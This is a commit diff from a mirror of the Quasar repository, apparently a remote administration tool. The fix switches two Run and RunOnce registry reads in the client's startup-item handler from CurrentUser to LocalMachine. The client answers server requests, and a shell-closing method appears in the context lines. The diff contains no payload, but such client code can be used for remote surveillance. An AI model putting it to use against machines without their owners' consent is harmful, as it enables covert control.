mirror of https://github.com/quasar/Quasar.git
Startup Manger Fix [Client]
Changed CurrentUser to LocalMachine As these values located in LocalMachine NOT CurrentUser
This commit is contained in:
parent
4e7c6a701c
commit
1faafaa814
|
@ -101,7 +101,7 @@ public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems c
|
|||
{
|
||||
using (
|
||||
var key =
|
||||
Registry.CurrentUser.OpenSubKey(
|
||||
Registry.LocalMachine.OpenSubKey(
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
false))
|
||||
{
|
||||
|
@ -113,7 +113,7 @@ public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems c
|
|||
}
|
||||
using (
|
||||
var key =
|
||||
Registry.CurrentUser.OpenSubKey(
|
||||
Registry.LocalMachine.OpenSubKey(
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||
false))
|
||||
{
|
||||
|
@ -363,4 +363,4 @@ public static void CloseShell()
|
|||
_shell.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue